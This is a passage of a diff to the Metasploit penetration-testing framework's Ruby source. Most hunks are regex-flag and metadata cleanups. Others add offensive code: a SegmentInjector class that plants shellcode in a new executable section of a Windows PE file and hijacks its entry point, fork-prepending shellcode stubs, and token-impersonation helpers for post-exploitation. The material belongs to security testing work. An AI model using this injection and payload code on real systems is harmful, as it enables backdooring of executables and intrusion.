hname = host.elements['HostName'].text
|
||||
end
|
||||
addr ||= host.elements['HostName'].text
|
||||
|
@ -5855,7 +5855,7 @@ class DBManager
|
|||
|
||||
data.each_line do |line|
|
||||
next if line =~ /^#/
|
||||
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/
|
||||
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/n
|
||||
addr = $1
|
||||
next if bl.include? addr
|
||||
port = $2.to_i
|
||||
|
|
|
@ -20,7 +20,7 @@ class Export
|
|||
end
|
||||
|
||||
def myusername
|
||||
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/,"_")
|
||||
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/n,"_")
|
||||
end
|
||||
|
||||
# Hosts are always allowed. This is really just a stub.
|
||||
|
@ -115,7 +115,7 @@ class Export
|
|||
user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user
|
||||
pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass
|
||||
if pass != "<BLANK>"
|
||||
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/m) ? c.pass : "<BLANK>"
|
||||
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "<BLANK>"
|
||||
end
|
||||
if pass == "<BLANK>"
|
||||
# Basically this is an error (maybe around [\x20-\x7e] in regex) above
|
||||
|
@ -206,7 +206,7 @@ class Export
|
|||
|
||||
report_file.write %Q|<?xml version="1.0" encoding="UTF-8"?>\n|
|
||||
report_file.write %Q|<MetasploitV4>\n|
|
||||
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/,"_")}" product="framework"/>\n|
|
||||
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/n,"_")}" product="framework"/>\n|
|
||||
|
||||
yield(:status, "start", "hosts") if block_given?
|
||||
report_file.write %Q|<hosts>\n|
|
||||
|
@ -352,7 +352,7 @@ class Export
|
|||
if value
|
||||
data = marshalize(value)
|
||||
data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding')
|
||||
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
||||
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
||||
el << REXML::Text.new(data)
|
||||
end
|
||||
return el
|
||||
|
|
|
@ -0,0 +1,108 @@
|
|||
module Msf
|
||||
module Exe
|
||||
|
||||
require 'metasm'
|
||||
|
||||
class SegmentInjector
|
||||
|
||||
attr_accessor :payload
|
||||
attr_accessor :template
|
||||
attr_accessor :arch
|
||||
attr_accessor :buffer_register
|
||||
|
||||
def initialize(opts = {})
|
||||
@payload = opts[:payload]
|
||||
@template = opts[:template]
|
||||
@arch = opts[:arch] || :x86
|
||||
@buffer_register = opts[:buffer_register] || 'edx'
|
||||
unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase)
|
||||
raise ArgumentError, ":buffer_register is not a real register"
|
||||
end
|
||||
end
|
||||
|
||||
def processor
|
||||
case @arch
|
||||
when :x86
|
||||
return Metasm::Ia32.new
|
||||
when :x64
|
||||
return Metasm::X86_64.new
|
||||
end
|
||||
end
|
||||
|
||||
def create_thread_stub
|
||||
<<-EOS
|
||||
hook_entrypoint:
|
||||
pushad
|
||||
push hook_libname
|
||||
call [iat_LoadLibraryA]
|
||||
push hook_funcname
|
||||
push eax
|
||||
call [iat_GetProcAddress]
|
||||
mov eax, [iat_CreateThread]
|
||||
lea edx, [thread_hook]
|
||||
push 0
|
||||
push 0
|
||||
push 0
|
||||
push edx
|
||||
push 0
|
||||
push 0
|
||||
call eax
|
||||
|
||||
popad
|
||||
jmp entrypoint
|
||||
|
||||
hook_libname db 'kernel32', 0
|
||||
hook_funcname db 'CreateThread', 0
|
||||
|
||||
thread_hook:
|
||||
lea #{buffer_register}, [thread_hook]
|
||||
add #{buffer_register}, 9
|
||||
EOS
|
||||
end
|
||||
|
||||
def payload_as_asm
|
||||
asm = ''
|
||||
@payload.each_byte do |byte|
|
||||
asm << "db " + sprintf("0x%02x", byte) + "\n"
|
||||
end
|
||||
return asm
|
||||
end
|
||||
|
||||
def payload_stub
|
||||
asm = create_thread_stub
|
||||
asm << payload_as_asm
|
||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||
shellcode.encoded
|
||||
end
|
||||
|
||||
def generate_pe
|
||||
# Copy our Template into a new PE
|
||||
pe_orig = Metasm::PE.decode_file(template)
|
||||
pe = pe_orig.mini_copy
|
||||
|
||||
# Copy the headers and exports
|
||||
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
|
||||
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
||||
pe.header.time = pe_orig.header.time
|
||||
|
||||
# Generate a new code section set to RWX with our payload in it
|
||||
s = Metasm::PE::Section.new
|
||||
s.name = '.text'
|
||||
s.encoded = payload_stub
|
||||
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
||||
|
||||
# Tell our section where the original entrypoint was
|
||||
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
|
||||
pe.sections << s
|
||||
pe.invalidate_header
|
||||
|
||||
# Change the entrypoint to our new section
|
||||
pe.optheader.entrypoint = 'hook_entrypoint'
|
||||
pe.cpu = pe_orig.cpu
|
||||
|
||||
pe.encode_string
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -135,11 +135,11 @@ module Exploit::Remote::Arkeia
|
|||
end
|
||||
|
||||
# Store the version information
|
||||
mver = resp.match(/IVERSION\x00([^\x00]+)/)
|
||||
mver = resp.match(/IVERSION\x00([^\x00]+)/n)
|
||||
info['Version'] = mver[1] if mver
|
||||
|
||||
# Store the hostname information
|
||||
mver = resp.match(/ISERVNAME\x00([^\x00]+)/)
|
||||
mver = resp.match(/ISERVNAME\x00([^\x00]+)/n)
|
||||
info['Hostname'] = mver[1] if mver
|
||||
|
||||
# Begin the ARKADMIN_GET_MACHINE_INFO request
|
||||
|
@ -182,7 +182,7 @@ module Exploit::Remote::Arkeia
|
|||
|
||||
# Finally, parse out and store all the parameters
|
||||
resp.split("TPVALUE\x00").each { |x|
|
||||
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/)
|
||||
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/n)
|
||||
if (minf)
|
||||
info[ minf[2] ] = minf[1]
|
||||
end
|
||||
|
|
|
@ -20,10 +20,16 @@ module Exploit::FileDropper
|
|||
# @return [void]
|
||||
#
|
||||
def on_new_session(session)
|
||||
super
|
||||
|
||||
if session.type == "meterpreter"
|
||||
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
|
||||
end
|
||||
|
||||
if not @dropped_files or @dropped_files.empty?
|
||||
return true
|
||||
end
|
||||
|
||||
@dropped_files.delete_if do |file|
|
||||
win_file = file.gsub("/", "\\\\")
|
||||
if session.type == "meterpreter"
|
||||
|
@ -58,8 +64,6 @@ module Exploit::FileDropper
|
|||
true
|
||||
end
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -463,8 +463,8 @@ module Exploit::Remote::HttpClient
|
|||
end
|
||||
|
||||
if datastore['RPORT'].to_i == 3790
|
||||
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/
|
||||
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/
|
||||
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/n
|
||||
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/n
|
||||
extras << "Metasploit"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -694,9 +694,10 @@ module Exploit::Remote::MSSQL
|
|||
if(info[:rows] and not info[:rows].empty?)
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => 1,
|
||||
'Header' => "",
|
||||
'Columns' => info[:colnames]
|
||||
'Indent' => 1,
|
||||
'Header' => "",
|
||||
'Columns' => info[:colnames],
|
||||
'SortIndex' => -1
|
||||
)
|
||||
|
||||
info[:rows].each do |row|
|
||||
|
|
|
@ -110,9 +110,9 @@ module Exploit::Remote::MYSQL
|
|||
end
|
||||
|
||||
if plugin_res.respond_to? :split
|
||||
target_path = plugin_res.split(/[\x5c\x2f]+/).join("/") << "/"
|
||||
target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
|
||||
elsif base_res.respond_to? :split
|
||||
target_path = base_res.split(/[\x5c\x2f]+/).join("/") << "/bin/"
|
||||
target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
|
||||
else
|
||||
print_error "Cannot determine the plugin directory."
|
||||
return false
|
||||
|
@ -123,7 +123,7 @@ module Exploit::Remote::MYSQL
|
|||
print_status "Checking for temp directory..."
|
||||
res = mysql_get_variable("@@tmpdir")
|
||||
if res.respond_to? :split
|
||||
target_path = res.split(/[\x5c\x2f]+/).join("/") << "/"
|
||||
target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
|
||||
else
|
||||
print_error "Cannot determine the temp directory, exiting."
|
||||
return false
|
||||
|
|
|
@ -11,8 +11,6 @@ module Msf
|
|||
#
|
||||
# written by corelanc0d3r <peter.ve [at] corelan.be>
|
||||
#
|
||||
# Version: $Revision$
|
||||
#
|
||||
###
|
||||
module Exploit::Omelet
|
||||
|
||||
|
|
|
@ -195,7 +195,7 @@ module Exploit::Remote::RealPort
|
|||
# Send negotiate request
|
||||
sock.put(pkt2)
|
||||
res = sock.get_once(-1, 5)
|
||||
if res.to_s =~ /^\xff/
|
||||
if res.to_s =~ /^\xff/n
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||
return :closed
|
||||
end
|
||||
|
@ -221,7 +221,7 @@ module Exploit::Remote::RealPort
|
|||
sock.put(pkt3)
|
||||
res = sock.get_once(-1, 5)
|
||||
|
||||
if res.to_s =~ /^\xff/
|
||||
if res.to_s =~ /^\xff/n
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||
return :closed
|
||||
end
|
||||
|
|
|
@ -645,7 +645,7 @@ module Exploit::Remote::SMB
|
|||
buff << " FP: #{line}\n"
|
||||
end
|
||||
|
||||
prov.split(/\x00\x00+/).each do |line|
|
||||
prov.split(/\x00\x00+/n).each do |line|
|
||||
line.gsub!("\x00",'')
|
||||
line.strip!
|
||||
next if line.length < 6
|
||||
|
@ -755,8 +755,8 @@ module Exploit::Remote::SMBServer
|
|||
if (pkt_nbs.v['Type'] == 0x81)
|
||||
# Accept any name they happen to send
|
||||
|
||||
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/, '')
|
||||
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/, '')
|
||||
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
|
||||
smb[:nbdst] = host_dst
|
||||
smb[:nbsrc] = host_src
|
||||
|
|
|
@ -336,9 +336,9 @@ class Payload < Msf::Module
|
|||
# Check to see if the value is a hex string. If so, convert
|
||||
# it.
|
||||
if val.kind_of?(String)
|
||||
if val =~ /^\\x/
|
||||
val = [ val.gsub(/\\x/, '') ].pack("H*").unpack(pack)[0]
|
||||
elsif val =~ /^0x/
|
||||
if val =~ /^\\x/n
|
||||
val = [ val.gsub(/\\x/n, '') ].pack("H*").unpack(pack)[0]
|
||||
elsif val =~ /^0x/n
|
||||
val = val.hex
|
||||
end
|
||||
end
|
||||
|
|
|
@ -19,6 +19,13 @@ module Msf::Payload::Linux
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptBool.new('PrependFork',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes: if (fork()) { exit(0); }",
|
||||
"false"
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetresuid',
|
||||
[
|
||||
false,
|
||||
|
@ -97,6 +104,17 @@ module Msf::Payload::Linux
|
|||
|
||||
# Prepend
|
||||
|
||||
if (datastore['PrependFork'])
|
||||
pre << "\x6a\x02" +# pushb $0x2 #
|
||||
"\x58" +# popl %eax #
|
||||
"\xcd\x80" +# int $0x80 ; fork #
|
||||
"\x85\xc0" +# test %eax,%eax #
|
||||
"\x74\x06" +# jz 0xf #
|
||||
"\x31\xc0" +# xor %eax,%eax #
|
||||
"\xb0\x01" +# movb $0x1,%al ; exit #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc9" +# xorl %ecx,%ecx #
|
||||
|
@ -197,10 +215,8 @@ module Msf::Payload::Linux
|
|||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Handle all Power/CBEA code here
|
||||
if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
||||
elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
||||
|
||||
# Prepend
|
||||
|
||||
|
@ -277,9 +293,21 @@ module Msf::Payload::Linux
|
|||
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
|
||||
"\x44\xff\xff\x02" # sc #
|
||||
end
|
||||
end
|
||||
|
||||
if (test_arch.include?(ARCH_X86_64))
|
||||
elsif (test_arch.include?(ARCH_X86_64))
|
||||
|
||||
if (datastore['PrependFork'])
|
||||
# if (fork()) { exit(0); }
|
||||
pre << "\x6a\x39" # push 57 ; __NR_fork #
|
||||
pre << "\x58" # pop rax #
|
||||
pre << "\x0f\x05" # syscall #
|
||||
pre << "\x48\x85\xc0" # test rax,rax #
|
||||
pre << "\x74\x08" # jz 0x08 #
|
||||
pre << "\x48\x31\xff" # xor rdi,rdi #
|
||||
pre << "\x6a\x3c" # push 60 ; __NR_exit #
|
||||
pre << "\x58" # pop rax #
|
||||
pre << "\x0f\x05" # syscall #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
|
@ -389,8 +417,8 @@ module Msf::Payload::Linux
|
|||
# Append exit(0)
|
||||
if (datastore['AppendExit'])
|
||||
app << "\x48\x31\xff" # xor rdi,rdi #
|
||||
pre << "\x6a\x3c" # push 0x53 #
|
||||
pre << "\x58" # pop rax #
|
||||
app << "\x6a\x3c" # push 0x3c #
|
||||
app << "\x58" # pop rax #
|
||||
app << "\x0f\x05" # syscall #
|
||||
end
|
||||
end
|
||||
|
|
|
@ -14,7 +14,6 @@ module Payload::Osx::BundleInject
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mac OS X Inject Mach-O Bundle',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a custom Mach-O bundle into the exploited process',
|
||||
'Author' =>
|
||||
[
|
||||
|
|
|
@ -12,9 +12,21 @@ require 'msf/core'
|
|||
module Msf::Payload::Windows
|
||||
|
||||
require 'msf/core/payload/windows/prepend_migrate'
|
||||
|
||||
# Provides the #prepends method
|
||||
# XXX: For some unfathomable reason, the order of requires here is
|
||||
# important. If this include happens after require'ing the files
|
||||
# below, it causes the windows/exec payload (and probably others) to
|
||||
# somehow not have PrependMigrate despite having Payload::Windows,
|
||||
# which leads to a NoMethodError on #prepends
|
||||
include Msf::Payload::Windows::PrependMigrate
|
||||
|
||||
require 'msf/core/payload/windows/dllinject'
|
||||
require 'msf/core/payload/windows/exec'
|
||||
require 'msf/core/payload/windows/loadlibrary'
|
||||
require 'msf/core/payload/windows/reflectivedllinject'
|
||||
require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||
|
||||
#
|
||||
# ROR hash associations for some of the exit technique routines.
|
||||
#
|
||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::DllInject
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Inject DLL',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a custom DLL into the exploited process',
|
||||
'Author' =>
|
||||
[
|
||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::Exec
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Execute Command',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Execute an arbitrary command',
|
||||
'Author' => [ 'vlad902', 'sf' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::LoadLibrary
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows LoadLibrary Path',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Load an arbitrary library path',
|
||||
'Author' => [ 'sf', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Reflective DLL Injection',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a DLL via a reflective loader',
|
||||
'Author' => [ 'sf' ],
|
||||
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
||||
|
|
|
@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject_x64
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Reflective DLL Injection',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a DLL via a reflective loader',
|
||||
'Author' => [ 'sf' ],
|
||||
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
||||
|
|
|
@ -177,6 +177,71 @@ module Accounts
|
|||
:integrity_label
|
||||
][enum_value - 1]
|
||||
end
|
||||
|
||||
# Gets an impersonation token from the primary token.
|
||||
#
|
||||
# @return [Fixnum] the impersonate token handle identifier if success, nil if
|
||||
# fails
|
||||
def get_imperstoken
|
||||
adv = session.railgun.advapi32
|
||||
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||
|
||||
pid = session.sys.process.open.pid
|
||||
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
||||
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
||||
if it["return"] #if it fails return 0 for error handling
|
||||
return it["DuplicateTokenHandle"]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Gets the permissions granted from the Security Descriptor of a directory
|
||||
# to an access token.
|
||||
#
|
||||
# @param [String] dir the directory path
|
||||
# @param [Fixnum] token the access token
|
||||
# @return [String, nil] a String describing the permissions or nil
|
||||
def check_dir_perms(dir, token)
|
||||
adv = session.railgun.advapi32
|
||||
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||
result = ""
|
||||
|
||||
#define generic mapping structure
|
||||
gen_map = [0,0,0,0]
|
||||
gen_map = gen_map.pack("L")
|
||||
buffer_size = 500
|
||||
|
||||
#get Security Descriptor for the directory
|
||||
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
|
||||
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
|
||||
sd = f["pSecurityDescriptor"]
|
||||
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
|
||||
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||
elsif (f['GetLastError'] == 2)
|
||||
vprint_error("The system cannot find the file specified: #{dir}")
|
||||
return nil
|
||||
else
|
||||
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
|
||||
return nil
|
||||
end
|
||||
|
||||
#check for write access, called once to get buffer size
|
||||
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||
len = a["PrivilegeSetLength"]
|
||||
|
||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||
if !r["return"] then return nil end
|
||||
if r["GrantedAccess"] > 0 then result << "R" end
|
||||
|
||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||
if !w["return"] then return nil end
|
||||
if w["GrantedAccess"] > 0 then result << "W" end
|
||||
end
|
||||
|
||||
end # Accounts
|
||||
end # Windows
|
||||
end # Post
|
||||
|
|
|
@ -1546,7 +1546,8 @@ class Db
|
|||
return
|
||||
end
|
||||
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
|
||||
if (::File.exists? ::File.expand_path(file))
|
||||
file = ::File.expand_path(file)
|
||||
if (::File.exists? file)
|
||||
db = YAML.load(::File.read(file))['production']
|
||||
framework.db.connect(db)
|
||||
|
||||
|
|
|
@ -16,6 +16,7 @@ require 'rex/pescan'
|
|||
require 'rex/zip'
|
||||
require 'metasm'
|
||||
require 'digest/sha1'
|
||||
require 'msf/core/exe/segment_injector'
|
||||
|
||||
##
|
||||
#
|
||||
|
@ -66,6 +67,7 @@ require 'digest/sha1'
|
|||
return template % hash_sub
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
#
|
||||
# Executable generators
|
||||
|
@ -185,80 +187,12 @@ require 'digest/sha1'
|
|||
|
||||
#try to inject code into executable by adding a section without affecting executable behavior
|
||||
if(opts[:inject])
|
||||
if endjunk
|
||||
raise RuntimeError, "Junk at end of file. Is this a packed exe?"
|
||||
end
|
||||
|
||||
#find first section file offset and free RVA for new section
|
||||
free_rva = pe.hdr.opt.AddressOfEntryPoint
|
||||
first_off = sections_end
|
||||
pe.sections.each do |sec|
|
||||
first_off = sec.file_offset if sec.file_offset < first_off
|
||||
free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
|
||||
end
|
||||
#align free_rva
|
||||
free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment
|
||||
|
||||
#See if we can add a section
|
||||
first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
|
||||
new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
|
||||
if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
|
||||
raise RuntimeError, "Not enough room for new section header"
|
||||
end
|
||||
|
||||
# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
|
||||
start_rva = free_rva
|
||||
|
||||
#make new section, starting at free RVA
|
||||
new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
|
||||
#pad to file alignment
|
||||
new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
|
||||
|
||||
#make new section header
|
||||
new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
|
||||
new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name
|
||||
new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
|
||||
new_sechead.v['VirtualAddress'] = free_rva
|
||||
new_sechead.v['SizeOfRawData'] = new_sec.length
|
||||
new_sechead.v['PointerToRawData'] = sections_end
|
||||
|
||||
# Create the modified version of the input executable
|
||||
exe = ''
|
||||
File.open(opts[:template], 'rb') { |fd|
|
||||
exe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
#New file header with updated number of sections and timedatestamp
|
||||
new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
|
||||
new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
|
||||
new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
|
||||
new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
|
||||
exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s
|
||||
|
||||
#new optional header with new entry point, size of image, and size of code
|
||||
new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
|
||||
new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
|
||||
new_opthead.v['AddressOfEntryPoint'] = start_rva
|
||||
new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
|
||||
new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
|
||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
|
||||
#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
|
||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
|
||||
#kill certificate; if it exists, we just invalidated it
|
||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8
|
||||
|
||||
#new section header and new section
|
||||
exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
|
||||
exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec
|
||||
exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1)
|
||||
|
||||
cks = pe.hdr.opt.CheckSum
|
||||
if(cks != 0)
|
||||
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
|
||||
end
|
||||
|
||||
pe.close
|
||||
|
||||
injector = Msf::Exe::SegmentInjector.new({
|
||||
:payload => code,
|
||||
:template => opts[:template],
|
||||
:arch => :x86
|
||||
})
|
||||
exe = injector.generate_pe
|
||||
return exe
|
||||
end
|
||||
|
||||
|
@ -458,168 +392,100 @@ require 'digest/sha1'
|
|||
return pe
|
||||
end
|
||||
|
||||
def self.to_win32pe_exe_sub(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows.exe")
|
||||
def self.exe_sub_method(code,opts ={})
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
|
||||
case opts[:exe_type]
|
||||
when :service_exe
|
||||
max_length = 8192
|
||||
name = opts[:servicename]
|
||||
|
||||
if (code.length <= 4096)
|
||||
if name
|
||||
bo = pe.index('SERVICENAME')
|
||||
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
||||
pe[bo, 11] = [name].pack('a11')
|
||||
end
|
||||
|
||||
if not opts[:sub_method]
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
||||
end
|
||||
when :dll
|
||||
max_length = 2048
|
||||
when :exe_sub
|
||||
max_length = 4096
|
||||
end
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= max_length)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
|
||||
raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
if opts[:exe_type] == :dll
|
||||
mt = pe.index('MUTEX!!!')
|
||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||
end
|
||||
|
||||
return pe
|
||||
end
|
||||
|
||||
def self.to_win32pe_exe_sub(framework, code, opts={})
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows.exe")
|
||||
opts[:exe_type] = :exe_sub
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe(framework, code, opts={})
|
||||
|
||||
